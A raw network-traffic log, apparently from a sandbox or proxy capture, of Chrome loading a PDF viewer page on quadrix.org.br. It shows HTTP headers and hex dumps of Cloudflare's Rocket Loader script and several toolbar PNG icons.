2024-05-10 07:20:56 UTC	736	OUT	GET /cdn-cgi/scripts/7d0fa10a/cloudflare-static/rocket-loader.min.js HTTP/1.1 Host: www.quadrix.org.br Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.quadrix.org.br/web/visualizar.html?file=https://www.quadrix.org.br/Archives/General/30728/31054/31055/E041D722C411/1_CRF-AC_concurso_publico_2024_edital_1_abertura.pdf Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-10 07:20:56 UTC	427	IN	HTTP/1.1 200 OK Date: Fri, 10 May 2024 07:20:56 GMT Content-Type: application/javascript Content-Length: 12332 Connection: close Last-Modified: Fri, 03 May 2024 18:04:18 GMT ETag: "66352722-302c" Server: cloudflare CF-RAY: 88182b680c0c2a48-ORD X-Frame-Options: DENY X-Content-Type-Options: nosniff Expires: Sun, 12 May 2024 07:20:56 GMT Cache-Control: max-age=172800 Cache-Control: public Accept-Ranges: bytes
2024-05-10 07:20:56 UTC	1369	IN	Data Raw: 21 66 75 6e 63 74 69 6f 6e 28 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 66 75 6e 63 74 69 6f 6e 20 74 28 29 7b 72 65 74 75 72 6e 22 63 66 2d 6d 61 72 6b 65 72 2d 22 2b 4d 61 74 68 2e 72 61 6e 64 6f 6d 28 29 2e 74 6f 53 74 72 69 6e 67 28 29 2e 73 6c 69 63 65 28 32 29 7d 66 75 6e 63 74 69 6f 6e 20 65 28 29 7b 66 6f 72 28 76 61 72 20 74 3d 5b 5d 2c 65 3d 30 3b 65 3c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3b 65 2b 2b 29 74 5b 65 5d 3d 61 72 67 75 6d 65 6e 74 73 5b 65 5d 3b 28 6e 3d 63 6f 6e 73 6f 6c 65 2e 77 61 72 6e 7c 7c 63 6f 6e 73 6f 6c 65 2e 6c 6f 67 29 2e 63 61 6c 6c 2e 61 70 70 6c 79 28 6e 2c 5b 63 6f 6e 73 6f 6c 65 2c 22 5b 52 4f 43 4b 45 54 20 4c 4f 41 44 45 52 5d 20 22 5d 2e 63 6f 6e 63 61 74 28 74 29 29 3b 76 61 72 20 6e 7d 66 75 6e 63 Data Ascii: !function(){"use strict";function t(){return"cf-marker-"+Math.random().toString().slice(2)}function e(){for(var t=[],e=0;e<arguments.length;e++)t[e]=arguments[e];(n=console.warn\|\|console.log).call.apply(n,[console,"[ROCKET LOADER] "].concat(t));var n}func
2024-05-10 07:20:56 UTC	1369	IN	Data Raw: 20 66 28 74 29 7b 69 66 28 74 26 26 22 68 61 6e 64 6c 65 45 76 65 6e 74 22 69 6e 20 74 29 7b 76 61 72 20 65 3d 74 2e 68 61 6e 64 6c 65 45 76 65 6e 74 3b 72 65 74 75 72 6e 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 65 3f 65 2e 62 69 6e 64 28 74 29 3a 65 7d 72 65 74 75 72 6e 20 74 7d 66 75 6e 63 74 69 6f 6e 20 68 28 74 2c 65 2c 6e 29 7b 76 61 72 20 72 3d 6e 3f 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 65 2e 69 6e 73 65 72 74 42 65 66 6f 72 65 28 74 2c 6e 29 7d 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 65 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 74 29 7d 3b 41 72 72 61 79 2e 70 72 6f 74 6f 74 79 70 65 2e 73 6c 69 63 65 2e 63 61 6c 6c 28 74 29 2e 66 6f 72 45 61 63 68 28 72 29 7d 66 75 6e 63 74 69 6f 6e 20 76 28 29 Data Ascii: f(t){if(t&&"handleEvent"in t){var e=t.handleEvent;return"function"==typeof e?e.bind(t):e}return t}function h(t,e,n){var r=n?function(t){return e.insertBefore(t,n)}:function(t){return e.appendChild(t)};Array.prototype.slice.call(t).forEach(r)}function v()
2024-05-10 07:20:56 UTC	1369	IN	Data Raw: 63 65 3a 74 2c 62 6c 6f 63 6b 69 6e 67 3a 21 31 2c 64 6f 63 57 72 69 74 65 53 69 6d 75 6c 61 74 6f 72 3a 6e 2c 63 61 6c 6c 62 61 63 6b 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 77 69 6e 64 6f 77 2e 5f 5f 63 66 52 4c 55 6e 62 6c 6f 63 6b 48 61 6e 64 6c 65 72 73 3d 21 30 2c 72 2e 72 65 6d 6f 76 65 50 72 65 6c 6f 61 64 48 69 6e 74 73 28 29 2c 50 28 74 29 7d 7d 29 3b 72 2e 69 6e 73 65 72 74 50 72 65 6c 6f 61 64 48 69 6e 74 73 28 29 2c 4d 2e 72 75 6e 4f 6e 4c 6f 61 64 28 66 75 6e 63 74 69 6f 6e 28 29 7b 72 2e 72 75 6e 28 29 7d 29 7d 66 75 6e 63 74 69 6f 6e 20 50 28 74 29 7b 76 61 72 20 65 3d 6e 65 77 20 4f 28 74 29 3b 4d 2e 73 69 6d 75 6c 61 74 65 53 74 61 74 65 42 65 66 6f 72 65 44 65 66 65 72 53 63 72 69 70 74 73 41 63 74 69 76 61 74 69 6f 6e 28 29 2c 65 2e 68 61 Data Ascii: ce:t,blocking:!1,docWriteSimulator:n,callback:function(){window.__cfRLUnblockHandlers=!0,r.removePreloadHints(),P(t)}});r.insertPreloadHints(),M.runOnLoad(function(){r.run()})}function P(t){var e=new O(t);M.simulateStateBeforeDeferScriptsActivation(),e.ha
2024-05-10 07:20:56 UTC	1369	IN	Data Raw: 68 3e 30 7d 2c 65 6e 75 6d 65 72 61 62 6c 65 3a 21 30 2c 63 6f 6e 66 69 67 75 72 61 62 6c 65 3a 21 30 7d 29 2c 74 2e 70 72 6f 74 6f 74 79 70 65 2e 70 6f 70 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 69 74 65 6d 73 2e 70 6f 70 28 29 7d 2c 74 2e 70 72 6f 74 6f 74 79 70 65 2e 66 6f 72 45 61 63 68 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 74 68 69 73 2e 69 74 65 6d 73 2e 66 6f 72 45 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 6e 3d 65 2e 73 63 72 69 70 74 3b 72 65 74 75 72 6e 20 74 28 6e 29 7d 29 7d 2c 74 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 72 76 65 73 74 53 63 72 69 70 74 73 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 76 61 72 20 6e 3d 74 68 69 73 2c 72 3d 65 2e 66 69 6c 74 65 72 2c 6f 3d 65 2e 6d 75 74 61 74 65 Data Ascii: h>0},enumerable:!0,configurable:!0}),t.prototype.pop=function(){return this.items.pop()},t.prototype.forEach=function(t){this.items.forEach(function(e){var n=e.script;return t(n)})},t.prototype.harvestScripts=function(t,e){var n=this,r=e.filter,o=e.mutate
2024-05-10 07:20:56 UTC	1369	IN	Data Raw: 66 75 6e 63 74 69 6f 6e 28 74 29 7b 65 2e 69 73 50 65 6e 64 69 6e 67 44 65 66 65 72 53 63 72 69 70 74 28 74 29 26 26 65 2e 6d 61 6b 65 4e 6f 6e 45 78 65 63 75 74 61 62 6c 65 28 74 29 7d 7d 29 7d 2c 65 2e 70 72 6f 74 6f 74 79 70 65 2e 63 72 65 61 74 65 50 6c 61 63 65 68 6f 6c 64 65 72 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 43 6f 6d 6d 65 6e 74 28 74 2e 6f 75 74 65 72 48 54 4d 4c 29 7d 2c 65 7d 28 44 29 2c 4f 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 66 75 6e 63 74 69 6f 6e 20 65 28 29 7b 72 65 74 75 72 6e 20 6e 75 6c 6c 21 3d 3d 74 26 26 74 2e 61 70 70 6c 79 28 74 68 69 73 2c 61 72 67 75 6d 65 6e 74 73 29 7c 7c 74 68 69 73 7d 72 65 74 75 72 6e 20 79 28 65 2c 74 29 2c 65 2e 70 72 6f 74 6f 74 79 Data Ascii: function(t){e.isPendingDeferScript(t)&&e.makeNonExecutable(t)}})},e.prototype.createPlaceholder=function(t){return document.createComment(t.outerHTML)},e}(D),O=function(t){function e(){return null!==t&&t.apply(this,arguments)\|\|this}return y(e,t),e.prototy
2024-05-10 07:20:56 UTC	1369	IN	Data Raw: 66 65 72 2b 22 3c 2f 68 65 61 64 3e 22 2c 6f 3d 74 2e 70 61 72 73 65 46 72 6f 6d 53 74 72 69 6e 67 28 65 2c 22 74 65 78 74 2f 68 74 6d 6c 22 29 3b 69 66 28 74 68 69 73 2e 73 63 72 69 70 74 53 74 61 63 6b 2e 68 61 72 76 65 73 74 53 63 72 69 70 74 73 41 66 74 65 72 44 6f 63 57 72 69 74 65 28 6f 29 2c 6e 28 6f 2e 68 65 61 64 2e 63 68 69 6c 64 4e 6f 64 65 73 2c 74 68 69 73 2e 69 6e 73 65 72 74 69 6f 6e 50 6f 69 6e 74 4d 61 72 6b 65 72 29 2c 6f 2e 62 6f 64 79 2e 63 68 69 6c 64 4e 6f 64 65 73 2e 6c 65 6e 67 74 68 29 7b 66 6f 72 28 76 61 72 20 69 3d 41 72 72 61 79 2e 70 72 6f 74 6f 74 79 70 65 2e 73 6c 69 63 65 2e 63 61 6c 6c 28 6f 2e 62 6f 64 79 2e 63 68 69 6c 64 4e 6f 64 65 73 29 2c 61 3d 74 68 69 73 2e 69 6e 73 65 72 74 69 6f 6e 50 6f 69 6e 74 4d 61 72 6b 65 Data Ascii: fer+"</head>",o=t.parseFromString(e,"text/html");if(this.scriptStack.harvestScriptsAfterDocWrite(o),n(o.head.childNodes,this.insertionPointMarker),o.body.childNodes.length){for(var i=Array.prototype.slice.call(o.body.childNodes),a=this.insertionPointMarke
2024-05-10 07:20:56 UTC	1369	IN	Data Raw: 63 68 61 6e 67 65 22 29 2c 74 68 69 73 2e 70 72 6f 78 79 49 6e 6c 69 6e 65 48 61 6e 64 6c 65 72 28 77 69 6e 64 6f 77 2c 22 6f 6e 6c 6f 61 64 22 29 2c 64 6f 63 75 6d 65 6e 74 2e 62 6f 64 79 26 26 74 68 69 73 2e 70 72 6f 78 79 49 6e 6c 69 6e 65 48 61 6e 64 6c 65 72 28 64 6f 63 75 6d 65 6e 74 2e 62 6f 64 79 2c 22 6f 6e 6c 6f 61 64 22 29 7d 2c 74 2e 70 72 6f 74 6f 74 79 70 65 2e 73 69 6d 75 6c 61 74 65 53 74 61 74 65 42 65 66 6f 72 65 44 65 66 65 72 53 63 72 69 70 74 73 41 63 74 69 76 61 74 69 6f 6e 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 2e 62 79 70 61 73 73 45 76 65 6e 74 73 49 6e 50 72 6f 78 69 65 73 3d 21 30 2c 74 68 69 73 2e 73 69 6d 75 6c 61 74 65 64 52 65 61 64 79 53 74 61 74 65 3d 22 69 6e 74 65 72 61 63 74 69 76 65 22 2c 6c 28 64 6f 63 75 6d Data Ascii: change"),this.proxyInlineHandler(window,"onload"),document.body&&this.proxyInlineHandler(document.body,"onload")},t.prototype.simulateStateBeforeDeferScriptsActivation=function(){this.bypassEventsInProxies=!0,this.simulatedReadyState="interactive",l(docum
2024-05-10 07:20:56 UTC	1369	IN	Data Raw: 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3b 6f 2b 2b 29 6e 5b 6f 2d 32 5d 3d 61 72 67 75 6d 65 6e 74 73 5b 6f 5d 3b 76 61 72 20 69 3d 65 26 26 65 2e 5f 5f 72 6f 63 6b 65 74 4c 6f 61 64 65 72 50 72 6f 78 69 65 64 48 61 6e 64 6c 65 72 7c 7c 65 3b 72 2e 63 61 6c 6c 2e 61 70 70 6c 79 28 72 2c 5b 74 68 69 73 2c 74 2c 69 5d 2e 63 6f 6e 63 61 74 28 6e 29 29 7d 7d 2c 74 2e 70 72 6f 74 6f 74 79 70 65 2e 70 72 6f 78 79 49 6e 6c 69 6e 65 48 61 6e 64 6c 65 72 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 74 72 79 7b 76 61 72 20 6e 3d 74 5b 65 5d 3b 69 66 28 6e 26 26 21 6e 2e 5f 5f 72 6f 63 6b 65 74 4c 6f 61 64 65 72 49 6e 6c 69 6e 65 48 61 6e 64 6c 65 72 50 72 6f 78 79 29 7b 76 61 72 20 72 3d 74 68 69 73 3b 74 5b 65 5d 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 69 66 Data Ascii: rguments.length;o++)n[o-2]=arguments[o];var i=e&&e.__rocketLoaderProxiedHandler\|\|e;r.call.apply(r,[this,t,i].concat(n))}},t.prototype.proxyInlineHandler=function(t,e){try{var n=t[e];if(n&&!n.__rocketLoaderInlineHandlerProxy){var r=this;t[e]=function(t){if
2024-05-10 07:20:56 UTC	1369	IN	Data Raw: 20 6e 3d 65 2e 73 65 74 74 69 6e 67 73 2e 64 6f 63 57 72 69 74 65 53 69 6d 75 6c 61 74 6f 72 2c 72 3d 65 2e 73 63 72 69 70 74 53 74 61 63 6b 2e 70 6f 70 28 29 3b 6e 26 26 21 72 2e 61 73 79 6e 63 26 26 6e 2e 65 6e 61 62 6c 65 28 72 2e 70 6c 61 63 65 68 6f 6c 64 65 72 29 3b 76 61 72 20 6f 3d 65 2e 61 63 74 69 76 61 74 65 53 63 72 69 70 74 28 72 29 3b 72 65 74 75 72 6e 20 6f 3f 72 2e 65 78 74 65 72 6e 61 6c 26 26 72 2e 65 78 65 63 75 74 61 62 6c 65 26 26 21 72 2e 61 73 79 6e 63 3f 28 75 28 6f 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 74 2e 66 69 6e 61 6c 69 7a 65 41 63 74 69 76 61 74 69 6f 6e 28 72 29 2c 74 2e 72 75 6e 28 29 7d 29 2c 7b 76 61 6c 75 65 3a 76 6f 69 64 20 30 7d 29 3a 76 6f 69 64 20 65 2e 66 69 6e 61 6c 69 7a 65 41 63 74 69 76 61 74 69 6f 6e 28 72 29 Data Ascii: n=e.settings.docWriteSimulator,r=e.scriptStack.pop();n&&!r.async&&n.enable(r.placeholder);var o=e.activateScript(r);return o?r.external&&r.executable&&!r.async?(u(o,function(){t.finalizeActivation(r),t.run()}),{value:void 0}):void e.finalizeActivation(r)
2024-05-10 07:20:56 UTC	11	IN	Data Raw: 2e 22 29 7d 28 29 7d 28 29 3b 0a Data Ascii: .")}()}();

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49739	172.66.43.171	443	7896	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-10 07:20:56 UTC	634	OUT	GET /web/images/toolbarButton-menuArrows.png HTTP/1.1 Host: www.quadrix.org.br Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.quadrix.org.br/web/viewer.css Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-10 07:20:56 UTC	402	IN	HTTP/1.1 200 OK Date: Fri, 10 May 2024 07:20:56 GMT Content-Type: image/png Content-Length: 103 Connection: close Cf-Bgj: imgq:85,h2pri Cf-Polished: origSize=107 ETag: "80c0442d441cd21:0" Last-Modified: Sun, 02 Oct 2016 00:30:29 GMT X-Powered-By: ASP.NET Cache-Control: max-age=14400 CF-Cache-Status: HIT Age: 6790 Accept-Ranges: bytes Server: cloudflare CF-RAY: 88182b696b430293-ORD
2024-05-10 07:20:56 UTC	103	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 07 00 00 00 10 08 04 00 00 00 70 88 ad 7b 00 00 00 2e 49 44 41 54 78 da 63 a0 14 fc e7 ff bf e0 3f 3f 8c c3 f2 7f ed ff 67 40 cc 02 e1 2e 01 72 40 70 09 7e 33 d0 14 63 1a 85 b0 88 52 e7 02 00 bb c1 27 e7 ea 7d 8c af 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDRp{.IDATxc??g@.r@p~3cR'}IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49741	172.66.43.171	443	7896	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-10 07:20:56 UTC	630	OUT	GET /web/images/toolbarButton-pageUp.png HTTP/1.1 Host: www.quadrix.org.br Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.quadrix.org.br/web/viewer.css Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-10 07:20:56 UTC	402	IN	HTTP/1.1 200 OK Date: Fri, 10 May 2024 07:20:56 GMT Content-Type: image/png Content-Length: 231 Connection: close Cf-Bgj: imgq:85,h2pri Cf-Polished: origSize=246 ETag: "801aa72f441cd21:0" Last-Modified: Sun, 02 Oct 2016 00:30:33 GMT X-Powered-By: ASP.NET Cache-Control: max-age=14400 CF-Cache-Status: HIT Age: 6790 Accept-Ranges: bytes Server: cloudflare CF-RAY: 88182b696b3a10fa-ORD
2024-05-10 07:20:56 UTC	231	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 10 00 00 00 10 08 04 00 00 00 b5 fa 37 ea 00 00 00 ae 49 44 41 54 78 da 63 20 11 fc df f1 7f 07 3e e9 ed ff 9f 01 e1 76 5c d2 db fe 3f f9 ff 08 08 9f fc df 86 4d 7a 0b 50 ea 01 04 02 59 5b d0 a5 37 ff bf ff ff 2e 02 02 79 9b 91 a5 37 fe bf f3 ff 26 2a 04 8a 6c 84 49 af 07 72 af 61 42 a0 e8 7a 88 0a 43 06 07 10 fc 7f 09 01 21 22 40 19 14 77 9c 47 40 ec de 3c 83 04 39 b1 28 f8 7d e4 ff 09 18 fc 6a 8a 45 c1 8b 65 ff 8f c2 e0 b7 4e 2c 0a 66 46 fd 3f f8 ff 30 14 9e fc ef 8c a9 42 b0 3d e9 e5 a2 df 7b 80 ca 80 10 a8 24 ed bf 20 86 12 a0 c7 6c a1 5e b4 63 90 67 60 65 60 00 00 05 7a bc e9 0e a6 18 be 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDR7IDATxc >v\?MzPY[7.y7&*lIraBzC!"@wG@<9(}jEeN,fF?0B={$ l^cg`e`zIENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49742	172.66.43.171	443	7896	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-10 07:20:56 UTC	632	OUT	GET /web/images/toolbarButton-pageDown.png HTTP/1.1 Host: www.quadrix.org.br Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.quadrix.org.br/web/viewer.css Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-10 07:20:56 UTC	402	IN	HTTP/1.1 200 OK Date: Fri, 10 May 2024 07:20:56 GMT Content-Type: image/png Content-Length: 228 Connection: close Cf-Bgj: imgq:85,h2pri Cf-Polished: origSize=238 ETag: "80ed752e441cd21:0" Last-Modified: Sun, 02 Oct 2016 00:30:31 GMT X-Powered-By: ASP.NET Cache-Control: max-age=14400 CF-Cache-Status: HIT Age: 6790 Accept-Ranges: bytes Server: cloudflare CF-RAY: 88182b69795d2aea-ORD
2024-05-10 07:20:56 UTC	228	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 10 00 00 00 10 08 04 00 00 00 b5 fa 37 ea 00 00 00 ab 49 44 41 54 78 da 8d 8d 31 0a c2 40 10 45 07 04 4f a0 85 95 77 d8 13 78 08 0f 22 7a 20 b1 58 42 20 04 16 f4 04 41 b0 10 04 0b 41 51 10 8d 12 b2 c1 de 42 bf 62 76 19 36 bb 85 ff 75 f3 1e 0c fd 31 74 31 41 81 c7 8f 1c 73 0c 9a 45 9b fa d3 31 ae c8 bf dc 70 7f 17 9c f0 3a 07 89 8b e5 b9 20 7f b3 21 ce 96 d7 91 fc 8d 7a 38 31 14 58 0b 7b 86 42 c3 8e 71 85 32 bf b7 8c b9 a8 ba 10 5a 61 e3 a3 15 09 32 13 55 8a b5 4b 95 1a 6d 93 32 c1 8a 29 13 47 9b 47 31 96 35 3a 66 ed 26 11 32 64 3a 62 ed 27 52 4b d6 c1 a4 a9 3f 0d 15 bc 49 36 13 1a a4 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDR7IDATx1@EOwx"z XB AAQBbv6u1t1AsE1p: !z81X{Bq2Za2UKm2)GG15:f&2d:b'RK?I6IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49743	172.66.43.171	443	7896	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-10 07:20:56 UTC	629	OUT	GET /web/images/toolbarButton-print.png HTTP/1.1 Host: www.quadrix.org.br Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.quadrix.org.br/web/viewer.css Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-10 07:20:56 UTC	401	IN	HTTP/1.1 200 OK Date: Fri, 10 May 2024 07:20:56 GMT Content-Type: image/png Content-Length: 250 Connection: close Cf-Bgj: imgq:85,h2pri Cf-Polished: origSize=257 ETag: "0b13f30441cd21:0" Last-Modified: Sun, 02 Oct 2016 00:30:34 GMT X-Powered-By: ASP.NET Cache-Control: max-age=14400 CF-Cache-Status: HIT Age: 6790 Accept-Ranges: bytes Server: cloudflare CF-RAY: 88182b6979f6616d-ORD
2024-05-10 07:20:56 UTC	250	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 10 00 00 00 10 08 04 00 00 00 b5 fa 37 ea 00 00 00 c1 49 44 41 54 78 da 8d c9 bd 0a 82 50 18 c6 f1 e7 0a ea 56 fa ba 80 b3 b5 15 5d 42 43 dd 47 44 57 d0 d4 d4 12 d4 58 43 1f ab 83 d8 10 08 06 81 a0 24 82 0e 0e ed 4e 4f 47 09 7d 11 91 fe bf e1 f0 3e 07 7f c6 2b 3f 15 37 c8 18 af e6 50 a5 e5 8c b1 fc 3e 33 44 1b b2 16 43 5e 8a 4b 1f 01 2a 31 60 58 1e 3e 7d c8 e4 c6 23 23 ba da 00 22 f6 f3 2d e2 09 fa 79 e5 de 0c 85 e0 b7 ba a0 43 67 3c 19 8e e9 d4 03 6d cd d3 ec 7a e0 a3 19 78 6f 86 64 4f 93 66 bc f3 36 50 25 6f 13 ef b2 3d 39 00 5d a8 c5 94 d6 7a 04 d1 7a 44 6b 31 85 42 0f 59 e9 96 06 6d 3e 05 9b 46 ba 45 51 07 aa 46 07 00 be 77 36 01 53 e2 84 99 d0 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDR7IDATxPV]BCGDWXC$NOG}>+?7P>3DC^K*1`X>}##"-yCg<mzxodOf6P%o=9]zzDk1BYm>FEQFw6SIENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49740	172.66.43.171	443	7896	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-10 07:20:56 UTC	632	OUT	GET /web/images/toolbarButton-download.png HTTP/1.1 Host: www.quadrix.org.br Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.quadrix.org.br/web/viewer.css Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-10 07:20:56 UTC	401	IN	HTTP/1.1 200 OK Date: Fri, 10 May 2024 07:20:56 GMT Content-Type: image/png Content-Length: 247 Connection: close Cf-Bgj: imgq:85,h2pri Cf-Polished: origSize=259 ETag: "02aac2c441cd21:0" Last-Modified: Sun, 02 Oct 2016 00:30:28 GMT X-Powered-By: ASP.NET Cache-Control: max-age=14400 CF-Cache-Status: HIT Age: 6790 Accept-Ranges: bytes Server: cloudflare CF-RAY: 88182b697e941049-ORD
2024-05-10 07:20:56 UTC	247	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 10 00 00 00 10 08 04 00 00 00 b5 fa 37 ea 00 00 00 be 49 44 41 54 78 da 8d 8b 3b 0a c2 40 14 45 5f 25 ae 22 9d 76 16 0a f6 53 d8 8b f6 6e 41 0b c1 0d e9 1e 6c 44 8d 21 24 45 20 62 21 58 08 22 6a 48 e3 0a 24 d7 f9 90 79 c9 60 e1 3b d5 3d 73 86 fe 3a ac f1 ae 22 cd ac 1e bc f0 a8 22 4d 5e 4b 70 af a3 4d 86 29 07 37 87 3e 09 89 c7 c1 d5 e1 89 4c c1 c1 c5 30 18 aa 9f a3 71 b9 39 38 1b a8 a1 67 b3 dc 1c 9c 0c ee e6 20 35 b8 9b 83 04 c9 7c 42 c2 0a b1 98 28 c7 41 8c f8 b3 87 67 b7 57 ec 94 e3 20 94 44 c5 d6 24 68 cb e7 48 39 0e 02 4d 58 6c d0 42 07 3e 42 63 6c 90 2f e1 6b 02 1c 91 e2 60 56 be 22 7b 5d 12 3f e8 11 11 7d 01 23 e5 ec 9f fd 60 4c 6b 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDR7IDATx;@E_%"vSnAlD!$E b!X"jH$y`;=s:""M^KpM)7>L0q98g 5\|B(AgW D$hH9MXlB>Bcl/k`V"{]?}#`LkIENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49744	172.66.43.171	443	7896	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-10 07:20:56 UTC	640	OUT	GET /web/images/toolbarButton-presentationMode.png HTTP/1.1 Host: www.quadrix.org.br Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.quadrix.org.br/web/viewer.css Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
